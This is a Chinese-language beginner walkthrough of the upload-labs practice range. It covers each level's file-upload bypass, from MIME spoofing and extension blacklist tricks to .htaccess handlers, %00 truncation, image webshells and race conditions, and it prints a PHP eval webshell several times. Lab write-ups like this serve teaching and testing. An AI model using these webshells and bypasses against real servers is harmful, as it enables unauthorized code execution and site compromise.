upload-labs全靶场通关教程(超全超详细!适用于零基础)
2026/8/10 10:13:57 网站建设 项目流程

Pass-01

知识点:前端 JS 校验漏洞
  • 防护原理:仅在浏览器端通过 JS 代码校验文件后缀,后端无任何校验。

  • 核心特征:点击上传按钮就弹出"不支持该文件类型"提示

  • 绕过方法

    1. 浏览器禁用 JavaScript

    2. 先上传合法.jpg文件,抓包修改后缀为.php。文件内容直接为一句话木马即可:

      <?php@eval($_POST['cmd']);?>

      如果只是打靶场的话,一句话木马也可用<?php phpinfo(); ?>代替。

这里我为大家展示第2种绕过方式:

先上传shell.png,里面写一句话木马即可

然后抓包,修改.png为.php

成功上传,并让shell.php执行指令

Pass-02

知识点:MIME 类型校验漏洞
  • 防护原理:后端仅校验 HTTP 请求头中的Content-Type字段,不校验文件后缀和内容。
  • 核心特征:上传.php文件被拦截,上传.jpg/.png正常,抓包可见Content-Type字段。
  • 绕过方法:抓包修改Content-Typeimage/jpegimage/pngimage/gif
绕过步骤:

与第一关步骤类似,只需注意把Content-Type也进行一并修改即可

即可上传成功
复制图片链接并访问,即可执行成功

Pass-03

后缀黑名单校验漏洞
  • 防护原理:服务器列出禁止上传的脚本后缀黑名单(如.php.asp.jsp)。

  • 核心特征:提示"禁止上传 php 等脚本文件",非黑名单后缀可上传。

  • 绕过方法

    方式说明
    特殊后缀.php3/.php4/.php5/.phtml(Apache 解析)
    大小写绕过.pHp/.PHP(Windows 环境生效)
    特殊符号.php(空格)、.php.(末尾点)、php. .
    空字节截断.php%00.jpg(PHP < 5.3.4)
    ::$DATA绕过Windows 文件流特性,抓包在后缀后加::$DATA(建立连接时需删除)
    双写绕过有些服务器会将黑名单后缀删除,可使用双写(如.pphphp)绕过

本关我们利用Apache 解析的特性,通过特殊后缀进行绕过

抓包,然后修改后缀为.phtml即可

放包,然后成功访问

Pass-04

配置文件解析漏洞
  • 防护原理:黑名单过滤极严,禁止所有脚本后缀(.php),但允许上传.htaccess/web.config—— Apache/IIS 服务器的"局部配置文件"。
  • 相关知识点:配置文件是服务器/PHP 的行为规则文件。攻击文件上传,本质就是在利用这些规则的漏洞。

注:.htaccess是 Apache 服务器的分布式配置文件,可以放在网站任意目录下,用来重写 URL、修改 MIME 类型、设置访问权限、解析规则等,相当于给当前目录单独写了一份 Apache 配置。

  • 核心特征:所有脚本后缀均被拦截,可上传非脚本格式文件。

  • 绕过方法

    Apache:上传.htaccess,再传一句话木马

    先建立一个.htaccess文件,内容如下:

    SetHandler application/x-httpd-php .png

    这会将当前目录下所有png文件指定为 PHP 方式处理。然后先上传文件.htaccess,再上传木马,木马为png格式直接上传即可

Pass-05

本关与第3关一样,也是黑名单漏洞,通过代码审计可知,本关并没有进行小写转换,也就是说可以通过大小写进行绕过

  • 绕过方法:将后缀改成.PHP即可

Pass-06

同样黑名单,还是通过观察源码,了解到并没有去空,所以我们可以通过空格进行绕过

  • 绕过方法:同样先bp进行抓包,然后进行留空


然后放包并成功访问

Pass-07

黑名单漏洞,观察源代码,发现并没有进行删除文件名末尾的点

  • 绕过方法:先bp进行抓包,然后加上一点.

    然后放包并成功访问

Pass-08

同样查看源代码,发现少了去除字符串,所以我们可以进行::$DATA 绕过

  • 绕过方法:先bp进行抓包,然后添加字符串::$DATA

    然后进行访问,并去掉字符串部分

Pass-09

观察源代码,这里我们可以通过. .来让系统“懵逼”,从而实现绕过的目的

  • 绕过方法:bp进行抓包,修改后缀,添加字符. .

Pass-10

本关的特性是会将黑名单内容直接进行删除,所以我们可以通过双写来进行绕过

  • 绕过方法:bp进行抓包,修改后缀为.pphphp

    上传成功,并成功进行访问

Pass-11

后缀白名单校验漏洞
  • 防护原理:仅允许指定后缀(如.jpg/.png/.gif),其余后缀全部拒绝。

  • 核心特征:只有白名单内文件可上传,脚本后缀一律拦截,防护性较强。

  • 绕过方法

    a. %00 截断

    与黑名单中的%00截断原理相同。白名单只校验后缀是否为.jpg,但通过%00截断使服务端实际保存为.php。例如:shell.php%001.jpg,前端看到.jpg通过白名单,服务端截断后保存为shell.php

    b. 配合文件包含漏洞执行图片马

    命名时使用正常图片的命名方式(如shell.jpg),文件内容则带有 PHP 指令,然后通过文件包含漏洞来激活执行(详见"文件包含漏洞"小节)。

本关则是get形式的白名单绕过:
同样,先上传png文件,然后上传时bp拦截并修改上传路径

上传成功后复制地址进行访问

Pass-12

不同于11关,本关是 Post类型,所以我们需要在包体中进行操作

  • 绕过方法:bp抓包,然后在包体中添加%00进行截断,然后对其进行url编码




    成功上传后,复制路径,还是把php后面的部分给删掉,最终成功如图所示

Pass-13

本关我们需要使用图片马配合文件上传,这里我来教大家制作图片马

这里需要大家同时准备一个正常图片和一个一句话木马的php文件,然后放在同一文件夹下,之后对该文件夹输入指令cmd,并执行以下指令

copy 11.png /b + shell.php /a webshell.png

这里文件名改成自己文件的名称就可以


制作好后,直接上传图片马即可

然后复制图片路径,再点击文件包含漏洞,输入以下指令访问即可

/include.php?file=upload/7420260807185710.png

这里图片的内容换成自己的即可

注:制作图片马后访问失败的概率挺高的,煮播这里也重做了好几次图片马,所以一定要有耐心


成功进行访问

Pass-14和Pass-15与上述方法一致

Pass-16

图片二次渲染漏洞
  • 防护原理:服务器对上传图片重新压缩、裁剪、生成,清除插入的恶意代码。

  • 核心特征:可上传图片马,但打开后木马代码丢失,图片被修改。

  • 绕过方法:在图片非渲染区域插入代码(PNG 数据块、GIF 帧间隙、EXIF 信息),例如:

    GIF89a; <?php @eval($_POST['cmd']); ?> 图片像素数据

这里我们需要利用工具010editor,可以在csdn上找一下该工具进行下载,下好后还是跟着我一步步走就可以

先修改图片码格式为.gif,然后上传gif图片马,上传成功后,将其另存为另一个图片马

然后用010editor打开另存的gif图片马

在最后一列找个位置,插入一句话木马即可

然后将制作好的图片马上传并进行访问即可,最后效果如图

Pass-17

条件竞争漏洞
  • 防护原理:服务器先临时保存文件,再校验,不合格则删除,存在时间差。

  • 核心特征:文件上传成功后瞬间被删除,无法正常访问。

  • 绕过方法:Burp Suite 多线程并发上传,同时高频访问文件路径,抢在删除前执行。

这里我们直接上传php文件即可,然后通过bp拦截,发到爆破(Intruder)模块

然后在php后面加个1,然后添加攻击

之后看向右边,模式选null payload的,然后选continue就可以

然后点开始攻击,并同时切到关卡界面的shell.php路径下一直刷新,直至出现内容即可

Pass-18

和前一关比较类似,不过我们这里需要先对shell.php进行一下压缩,压缩成.7z的形式,然后上传shell.php.7z,剩下的步骤跟条件竞争一样

Pass-19

本关绕过同样也是采用Post形式的00截断,只是要注意修改的位置即可

上传.php文件并抓包



然后还和第12关一样,对%00进行Url解码,最后进行访问,把php后面的部分去掉即可

Pass-20

同样,先上传shell.php然后进行抓包,然后修改成以下形式

之后进行访问,即可成功get shell

本关难度较高,且揉合了之前的东西,如果是新手的话,不建议进行深究

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询